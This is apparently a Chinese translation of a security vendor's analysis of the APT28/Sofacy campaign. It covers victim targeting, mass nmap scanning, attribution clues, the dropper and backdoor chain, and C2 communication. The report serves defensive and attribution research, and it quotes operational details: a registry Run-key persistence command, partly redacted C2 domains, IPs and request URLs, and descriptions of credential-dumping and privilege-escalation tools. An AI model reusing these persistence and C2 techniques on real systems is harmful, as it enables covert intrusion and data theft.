0x00 前言
最初,“高级持续威胁”指的是那些使用非常规木马,攻击特定目标和网络的攻击活动。这类攻击活动的目的是为了长期或秘密地窃取敏感数据。在近几年,APT开始指代由外国政府发动的长期攻击活动,而安全公司或受害者政府会由于惧怕经济制裁或政治压力,不愿意指认这些攻击者。另外一点原因是,由于互联网的开放特性,攻击者可以利用技术把罪名嫁祸给他人,从而也难以确定他们的真实身份。
为了确定攻击活动与其幕后国家之间的联系,Bitdefender这样的企业希望能在APT代码或通讯基础设施中找到切实的证据。下面的这份报告详细地分析了APT28小组使用的有效载荷技术,通过这些信息我们发现了他们与幕后主事之间的关联。
0x01 目标受害者
近期,我们在分析了Sofacy行动后发现,这个网络小组相当活跃,并且有明确的地区倾向。APT28的主要目标都分布在这几个国家中,包括,乌克兰,西班牙,俄罗斯,罗马尼亚,美国和加拿大。
我们发现,APT28对乌克兰特别有兴趣。在2015年2月10日到14日,APT28小组扫描了8,536,272个IP来寻找可能的漏洞。
巧合的是,在这期间,白俄罗斯、俄罗斯、德国、法国和乌克兰的政治领导们正好在明斯克参加会议,讨论是否停止在乌克兰东部顿巴斯地区的交火行动。
2月14日之后,APT28小组把目标转向了西班牙。图1中是标出的就是受到影响的国家。
目前,我们尚不清楚APT28会根据什么标准来选择目标,但是我们研究发现,他们会从预先准备好的IP地址中挑选出有漏洞的几个来进行攻击。同时,我们还发现,这些目标涉及到了各个行业:政治类、电子犯罪服务类、电信服务或航空行业。
更多受害者信息可以在附录1中找到。
图1
0x02 归属判断
我们有理由相信,APT28的管理者是俄罗斯人,或者是会讲俄语的邻国公民。在分析中,我们发现了很多证据都能证明我们的猜测。
我们第一次分析相关文件的时候,统计了在各个时区下从周一到周五每天8:00-18:00这段时间中编译的二进制数量,结果最突出的就是UTC+4时区,有88%的文件是在这个时区下的工作时间编译的。在这个时区下的国家中(俄罗斯,格鲁吉亚,阿塞拜疆),只有俄罗斯有能力和资源来执行这种攻击行动。
在下图中(图2),我们根据编译时间,对样本进行了分组(UTC+4)。从图中可以看到,大部分样本是在8:00-18:00编译的。
图2
另一条线索是从一个用于获取系统权限的黑客工具中找到的。这条线索也能证明我们的假设-木马作者来自一个说俄语的国家。我们在查找相关的APT28文件时,发现了这个工具。文件的标头叫做xp.exe (78450806E56B1F224D00455EFCD04CE3),这个文件很特别的地方是,在调试文件中硬编码了一个路径xp.exe (78450806E56B1F224D00455EFCD04CE3)。字符串Пользователь就是为俄罗斯的用户准备的。
我们有理由相信,这个文件也是APT28开发的,因为这个文件的修改/创建日期被更改为了14/04/2008, 16:00,与APT28在攻击活动中使用的其他文件相同。所有在攻击中使用的文件都是在2013年后编写的。攻击者修改文件的日期是为了防止受害者在系统上发现新文件,避免引起用户的怀疑。
0x03 搜索新目标
我们发现,有些服务器的主要目的就是为了自动搜索新的受害者。这是通过大规模的扫描和刺探预先确定好的IP地址范围实现的。服务端应用包括4个主要组件,如下:
- 一个Python脚本(gen_ip.py),用于随机生成符合特定类的IP地址
- 一个数据库(shodb),用于集中所有扫描到的数据并筛选潜在受害者
- 一个Django(sho)应用,用于管理bot和报告
APT没有采取“乱枪打鸟”的方法,而是挑选受害者。这个Python脚本中硬编码了一些IP类;脚本会遍历所有的子网,并随机生成符合范围的IP地址。如果攻击者扫描范围内的所有IP,这样会增加引起用户注意的几率。在随机生成了IP后,这些IP就会被添加到数据库。然后每个IP地址会给定一个优先级等级。
截止我们撰写报告时,数据库中总共包含了58,624个相关的IP,具体参考附录1。所有这些IP的优先级都设置为了1。
扫描bot都是相互独立的系统,分布在不同的网络中。我们猜测,这种方法能让扫描过程看起来不是那么可疑。如果是来自同一个网络的一个或多个IP来扫描整个子网,可能会引起用户的怀疑,或触发入侵检测系统。
为了完成扫描任务,每个bot会通过cookie来认证服务器。认证成功后,扫描bot每次请求最多可以接收到16个IP。然后,bot会使用nmap工具(附录1)扫描每个IP的特定端口。如果找到了开放的端口,bot就会联系服务器,并把nmap获取到的信息保存到数据库中。接着,相应的IP地址就会被标注上“有漏洞”。图3中描述的就是这一过程:
图3
扫描bot的位置分布如下:美国3个,英国3个,保加利亚3个(图5):
图5
0x04 攻击流程
APT28主要依赖3种不同的攻击途径来感染他们的目标:用恶意Word和Excel文档作为附件的钓鱼邮件,钓鱼网站,会导致Java和Flash 0-day漏洞的恶意iFrame。
客户端通常是因为访问了挂载着漏洞工具的URL,才被感染 。在成功感染后,第一阶段的dropper(在我们这里是runrun.exe)会写到磁盘上。这个dropper的主要目的是为了投放一个文件(api-ms-win-downlevel-profile-l1-1-0.dll),并使用rundll32.exe执行这个文件。这样做是为了联系CC服务器,并下载第二阶段的木马。
第二阶段的组件会使用和上面相同的方法来安装到客户端上。首先,执行一个dropper(winloat.exe),dropper会把一个关键组件(advstoreshell.dll)和一个配置文件(msd)写到磁盘上。这个配置文件中包含有一些关键信息,比如后门会尝试联系的三个服务器(win*********ore.net ,micro********er.com和1***.net
),请求间隔,以及是否启动键盘记录功能的旗帜。
此时,攻击者就已经控制了受害者的机器,并且部署了不同的工具和组件。在我们分析的例子中,攻击者下载了3个攻击工具:
- 一个用于转储登录用户密码的工具(run.exe)
- 一个利用权限提升漏洞(CVE-2014-4076)获取系统权限的工具(xp.exe)
- 一个用作代理,即使路由器系统,也能允许攻击者与系统取得联系的工具(svehost.exe)
另外还有一个组件也是通过下载获取的(pr.dll),这是一个模块化组件,用于把窃取到的数据上传到CC服务器。
图6
攻击流程如图6:
在部署了有效载荷后,攻击者会把第二阶段dropper下载的文件都修改成在14/04/2008, 16:00编写的。通过这种技术,攻击者可以隐藏恶意文件,避免受害者发现磁盘上写入了新文件从而起疑。
下表中列出了各个文件的编译日期和创建日期。
表1
最近的创建日期是13/05/2015,可能是攻击活动开始的日期。鉴于从第一阶段downloader到第二阶段downloader写入到磁盘上大约有1小时的间隔,我们怀疑这个过程是人工操作的。在所有的文件中,只有一个不是在攻击之前编译完成的。“%allusersappdata%\ Pr.dll”是唯一一个在攻击活动开始了5小时后才编写的。由此来看,这个文件是针对目标特意制作的。
0x05 遭到攻击的受害者
我们发现,遭到攻击的受害者属于不同的行业和部门。研究表明,受害者主要是政治人物、政府机构、电信和电子犯罪服务,以及德国、乌克兰、俄罗斯和罗马尼亚的航空航天公司。
有些受害者是我们通过分析中心服务器上的信息确定的。在这些信息中,包括失窃邮件的踪迹。有一部分是我们的内部系统上报的。
通过在中心服务器上发现的邮件,我们确定了前两类受害者。
政治人物
在2015年5月13日,两个.pst文件‘C:\ProgramData\backup.pst’
和‘C:\ProgramData\backup2.pst’
复制到了服务器上。
航空航天业
在2015年7月9日,14个文档复制到了服务器上。在这之中,有两个.dbx (Outlook Express数据库)文件。
在7月18日,“F:\Outlook Express\AC_VTS_ÐÊÒ.dbx”
传输到了中心服务器。
同样是在7月18日,“F:\Outlook Express\Kydla.dbx”
也传输到了中心服务器。
所有这些受害者似乎都与航天业或飞行器研究项目有关联。通过上下文,也能看出攻击者可能来自俄罗斯,考虑到媒体也在大量报道俄罗斯的PAK FA T-50战斗机和美国的F-35战斗机。
我们的内部系统也标记了大量遭到攻击的计算机。在罗马尼亚,这些标记出来的计算机有一部分属于政府基础设施或与罗马尼亚政府有密切关联。
0x06 附录1(目标活动)
通过分析APT28的CC服务器,我们发现了两起寻找新目标的活动。
在这个过程中,攻击者根据从数据库中获取的IP地址,扫描了大量IP的端口。端口扫描过程是通过一个免费工具“nmap”实现的。如果找到了开放的端口,这个IP就会被标记为“有漏洞的”,并且会保存相应的信息。探测命令都包括在下图中:
图7
其中:
- T5:在很短的时间内映射一个主机,前提是你的网络要够快,或者是不介意丢失部分信息。
- p:扫描特定的端口
- sV:检测远程服务(服务器/守护进程)的版本号
- O:识别一个远程主机apps和
- version-light:启动精简模式,加速扫描过程,但是识别服务的能力会稍微降低
- script=banner: 显示ftp banner 响应
- script=http-headers:通过一条HEAD请求web服务器的根文件夹(“/”),并显示返回的HTTP标头
- oX:把扫描结果记录成XML形式,保存到参数指定的文件
- iL:根据配置文件而不是命令行来读取目标规范;在配置文件中会包含有主机列表和网络表达
在2015年2月10日,我们发现了攻击者的首次尝试,扫描了8.762.102的一些IP。在这之中,1.712.363 IP被标记为了“有漏洞”。这次探测活动一直持续到了2月14日。大多数IP都是来自乌克兰(扫描了8.536.272,1.704.837是有漏洞的)。
被扫描的IP数量很庞大,几乎相当于乌克兰的总IP数量。通过搜索在这段时间内发生的与乌克兰相关的重大事件,我们意识到,这次探测过程是在明斯克峰会期间进行的,在这次峰会上主要讨论了乌克兰欧诺个不顿巴斯地区的冲突问题。在2月11日,白俄罗斯,俄罗斯,德国,法国和乌克兰的领导人在一起协商新一轮的和平协议,这一协议于2月12日发布,在2月15日签署。
在下表中(表2),列出了这些活动的目标国家:
表2
在2月14日,一个数据库备份保存到了一个文件(file.csv)中,并且攻击者的关注焦点从乌克兰转向了西班牙。
在2月16日,攻击者又开始尝试寻找新的受害者。新的数据库加载了58,624个新的IP地址,在这之中,有6,146个是有漏洞的。表3中列出了这次活动的目标国家:
表3
在第二次尝试中,扫描的IP范围很小,我们猜测这次攻击活动可能是有具体的目标机构。通过分析目标IP范围,我们确定了一些受害者。
我们尚不清楚,攻击者是根据什么标准来确定目标,但是我们猜测攻击目标是人工确定对的,而不是通过自动方式完成。
0x07 附录2-探测过程
目标筛选过程是通过中心CC服务器管理的多个bot完成的。行动流程可以分为下面的几个过程:
-
生成新受害者
潜在受害者是通过扫描不同子网的IP端口来确定的。这些IP列表是通过脚本gen_ip.py生成的,这个脚本会通过IP类别或随机选择IP来探测其端口。在写报告时,这个脚本硬编码了11个IP类,所以,我们认为受害者组织是人工选择的。
这个脚本会随机生成整数数字,这些数字代表了属于不同类的IP。事实上,这个脚本不会遍历所有的IP,这就表明,攻击者采取了预防措施,避免触发受害者的入侵检测系统-因为扫描一个子网的所有IP可能会引起受害者的怀疑。
所有生成的IP都会添加到中心服务器上的一个数据库中。大多数IP是属于西班牙和一些政治机构,电信公司和公共事务机构。
-
集中所有信息
这个CC服务器最重要的资产是shodb数据库。在恢复了数据库中,我们发现了下面的关系(图9):
图9
sho_bot表中包含有与活动bot相关的信息(表5)
表4
这里有9个bot,每个bot都是通过一个cookie(uid)识别的。bot会使用这个cookie来注册到主要服务器上。如果服务器有这个cookie的引用,过程就会继续。所有bot的优先级(code_id)都设置为了1。所有项目的info一栏都是空白的。
sho_cookie表中包含有与bot活动相关的信息(表6)
cookie栏表示的是认证代码,last_activity栏代表是bot联系服务器的最后时间,ip_addr一栏代表的是bot的IP地址,get_num栏表示的是bot与中心服务器之间的连接数量。
这次研究表明,有些bot是重复的,而cookie有两类:一种使用了字母和数字,一种只是使用了数字。第一种cookie的活动非常少(每个cookie有3个连接),由此我们认为有两个版本的bot和插件在并行。另外,根据第一类cookie不在sho_bot表中出现,也能证明这一点。
- sho_ip表中包含有
gen_ip.py
脚本生成的IP列表 - sho_plugin表中包含的是代码而不是数据。这里储存了脚本
plugin-nmap-0.43.py
。这个脚本的主要作用是获取目标IP(每次请求最多16个IP)并执行扫描命令(图10)。
图10
在解析了nmap结果后,数据会发送回服务器并保存到sho_ip表中的数据库。
- sho_code表中包含的是代码,而不是数据。这里储存着
scan-bot-03.py
脚本。这个脚本负责描述系统的行为。Bot会连接到服务器并使用一个cookie来注册自己。一旦通过认证,bot就会从sho_code表(更新机制)中请求最新的代码和插件(sho_plugin)版本。在更新后,bot就会启动一系列的线程,使用最新的插件扫描目标IP。 - sho_log表是空的
- sho_setting表是空的
服务器上还运行着一个Django应用。这个应用是一个管理和报告界面,用于管理bot和目标。下图中就是(图11)admin面板。这个界面允许攻击者查看统计数据,添加和删除用户、目标和bot。
图11
这个界面很简单,只是对数据库简单的包装了一下(图12:添加用户【上】,添加目标【下】):
图12
1.bot
用于扫描潜在受害者的机器也是不同的。这样便于攻击者隐藏这些IP的扫描活动是不是属于同一次行动的。下表中是我们在数据库中发现的IP(表7):
表7
- sho_ip表中包含有
0x08 附录3-与APT28相关的工具
代理工具(svehost.exe)
这个可执行文件要么使用了通过命令行传递的参数,要么就没有使用参数。当没有参数执行时,文件会尝试联系IP地址:端口443上的176.**.***.10
。
也可以启动下面的命令行:
#!bash
svehost.exe start <ipaddress> <port>
这个文件使用了一个旧版的OpenSSL库(OpenSSL 1.0.1e)。实际上,这个文件之所以有1038kb,就是因为包含了这个OpenSSL库。
这个工具的主要目的是允许攻击者联系路由器后的系统,如果没有这个工具,系统就无法从网络外访问。
权限提升工具(xp.exe)
这个工具是围绕一个在2014年发现的漏洞(CVE-2014-4076)创建的,通过使用函数DeviceIoControl向\\.\\ TCP
设备发送一个特殊的数据包来运行。在2014年末,这个漏洞就被修复了。
这个工具会接收一个可执行文件作为参数。然后,使用系统权限运行这个可执行文件。
这个文件是根据调试配置编译的。因此,文件中还硬编码了一个pdb文件的路径。这个路径引用了C:\Users\Пользователь\Desktop\cve-2014-4076\cve-19abdba\Debug\CVE-2014-4076.pdb
字符串Пользователь在俄语中的意思是“用户”。这也是我们怀疑木马作者是俄语用户的原因。
木马转储工具(run.exe)
这个木马转储工具似乎是根据mimikatz来创建的,这个公共工具会通过LSASS转储WDigest中的密码。更多关于这个工具的信息可以访问http://blog.gentilkiwi.com/mimikatz。
这个文件是在05/05/2013编译的,并且不包含任何版本信息。也就是说,这个文件是作者自己编译的。这个工具会接收一个文件作为参数,然后,获取到的密码会转储到文件中,作为参数传递。
0x09 附录4(第一阶段组件)
在感染后,这是第一个安装到受害者计算机上的组件。这个组件的目的是联系CC服务器并要求接下来的指令。
第一阶段的有效载荷包含两个部分:一个dopper和第一阶段的后门。我们遇到的dropper-runrun.exe,在数据节内嵌了文件api-ms-win-downlevel-profile-l1-1-0.dll。dopper使用了大量的自定义加密算法来避免逆向。
下面的算法(算法1)是用于解密其API:
算法1:
有效载荷(api-ms-win-downlevel-profile-l1-1-0.dll) 使用了RTL和自定义加密算法进行了加密,使用了一个10字节秘钥。
算法2:
投放的文件是一个downloader,这个文件会联系CC服务器获取第二阶段的组件。Downloader联系的域名是:_www.msc****vw.com_
,IP地址是:91.***.**.249
。
使用的请求是通过GET over HTTP。每个请求1-5组随机的1到6的数字。通过斜线来分组,下面就是一个请求:
#!bash
/ue/VHghm/ihXAIK/qpi/1c9.xml/?XK1=VrLYQndXGXwzURh9RBE=
上面的xml扩展实际是从4个可用的扩展的选择的(xml, **pdf,html, zip**)。最后的参数是一个加密秘钥,downloader可能会利用这个秘钥来通过服务器认证。
这个文件是一个基础的后门,具有下面可用的命令:
- 下载
- 执行
- 删除文件
因为需要1个多小时第二阶段的组件才能下载到受感染的系统上,所以我们猜测是手动下载的。
0x0A 附录5-(第二阶段组件)
第二阶段组件的目的是打开后门,允许攻击者访问目标设备,并下载另外的组件。
a. Dropper:
作为的第一阶段组件,重要文件都是使用dropper安装的。(winloat.exe)
Dropper的主要操作包括:
- 解密(包括后门:advstoreshell.dll和配置文件:msd)
- 将有效载荷写入磁盘上
- 调用advstoreshell.dll的InitW方法
b. 配置文件:
为了加密/解密配置文件和advstoreshell.dll使用的API,攻击者使用了一个6字节长度的自定义流密码。下面的函数是为了获取相应的字节,用于异或缓冲区中的一个索引。
算法3:
配置文件(msd)就是使用了上面介绍的算法,使用了122字节的秘钥。配置文件中包含有下列信息:
其中:
- Timeout1 = 60000 ; 代表在联系CC时,直到超时的毫秒数
- Timeout2 = 60000 ; 代表在使用加密联系CC时,直到超时的毫秒数
- Computer name = DAE13WS01204030501 ; 受感染计算机的名称
- DomainName1=
micro**********ter.info
- DomainName2=
dri********te.info
- Campaign id = rhbp ; 我们还在调查这个字段的含义,但是,这可能是一个活动标识符
- ? = 1000 ; 我们仍然在调查这个字段的角色,但是一些信息让我们认为这是一个计数器
- ? = 600000; 我们仍然在调查这个字段的含义,但是很可能是另一个超时值
- Keylogging flag = 1; 这个字段指示着后门是否应该拦截键盘输入,并将输入发送到CC服务器
- Main domain name =
1***.net
; 这是木马尝试联系的第一个域名
c. 后门组件:
APT28最重要的组件是后门,在我们的例子中,这个文件叫做advstoreshell.dll。这个文件会读取配置文件(msd),并联系配置文件中的CC服务器。并且配置文件也可以储存到注册表中。在注册表中储存的配置文件可能是从某个CC服务器上的更新获取的。
在我们分析过的系统上,有2个配置文件:
- 第一个是msd文件,与advstoreshell.dll在相同的路径下
- 第二个在注册表中(
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Path
)。这个文件中的数据与msd文件基本相同,除了前两个域名更改为了…ore.net和micr…er.com。
只有这个组件会在启动时运行。这是通过在HKCU\ Software\Microsoft\Windows\CurrentVersion\Run
中创建AdvancedStorageShell实现的,写入的内容是:
#!bash
"RUNDLL32.EXE "C:\Documents and Settings\<user-name>\Local Settings\Application Data\Microsoft Help\advstorshell.dll", InitW"
这个后门很先进,支持26种命令。我们分析了一些命令,其他的一些命令仍在分析过程中。
在使用cmd/c
选项运行命令时,输出会保存到一个叫做tmp.dat的文件中。
这个组件与CC服务器之间的通讯是通过HTTP端口443实现的。如果可行,这个组件会尝试连接端口80。在有些情况下,通讯会使用3DES和RSA加密。
这个后门的一个重要功能就是能加载外部组件。这是通过调用dll的init函数实现的。s插件也是这样加载的。
0x0B 附录6-额外模块
APT28最后安装的组件是一个叫做pr.dll的模块。这个文件是在系统遭到入侵的5小时后编译的。这种时间上的偏差让我们怀疑这个文件是根据每个目标系统单独制作的。
这个文件似乎是一个模块化框架,能兼容不同的模块。这个文件的配置储存在一个加密格式中,并保存在注册表键值中“HKU\S-1-5-19_Classes\Software\Microsoft\MediaPlayer\{some_clsid}\chnnl”
一旦执行,木马会检查一个互斥量(XSQWERSystemCriticalSection_for_1232321)是不是存在,从而确保只有一个实例在运行。然后,木马会联系服务器(IP: 198.[redacted].74,或域名sec[…]win. com)。在初始通讯阶段,后门会向CC服务器发送一个加密的buffer,包含有一个RC4秘钥和插件的ID。下面就是一个buffer:
03 33 02 03 33 23 03 21 23 06 21 23 3A 66 95 64 4B 56 FF 22 4D 81 4F
我们使用下列在buffer中的ID识别出插件:0x3302, 0x3303, 0x2103, 0x2106\
很有趣的是,pr.dll会创建两个管道,可能是用于收集其他进程发送的数据。
pr.dll似乎是在服务器上发现的一个Windows版Linux文件。在服务器上有4个elf文件,有两个是x86架构(075b6695ab63f36af65f7ffd45cccd39, f3bf929a35c3f198226b88537d9ccb1a),两个是x64架构(2683624eacc490238e98c449bddbb573, 5bf524a4860f3c33e3ad77b6b625db37)。这个elf文件使用了SQLite3来储存其配置,而不是注册表。My_BD数据库包含有两个变量chnnl和prms。
这些文件会通过构建随机请求,尝试联系服务器。每个请求都有一个动作watch/
,search/
,results/
,search/
,close
) 和2-9个变量(选择:text=
,from=
,itwm=
,ags=
,oe=
,aq=
,btnG=
,oprnd=
,utm=
,channel=
)。参数值是随机生成的。
下面是一个请求:
h[tt]p://198.***.***.74/watch/?aq=JTfJRp-s&oprnd=Dwtee&itwm=niKMuGE9Mp9Md9vHdggZMS16YlSTx&btnG=t&oprnd=FbLtw&AVVAT=m 8I2tN
elf文件中包含有下列模块:
- AgentModule
- KernelProvider
- AgentKernel
- ChannelController
- Cryptor
- LocalStorage (sqlite3) 7. ReserverApi
- AgentChannel
- HttpChannel
- FSModule
- RemoteShell
- RemoteKeylogger
如上所述,每个架构都有两个版本。唯一区别就是有一个版本中不会包含最后的两个模块。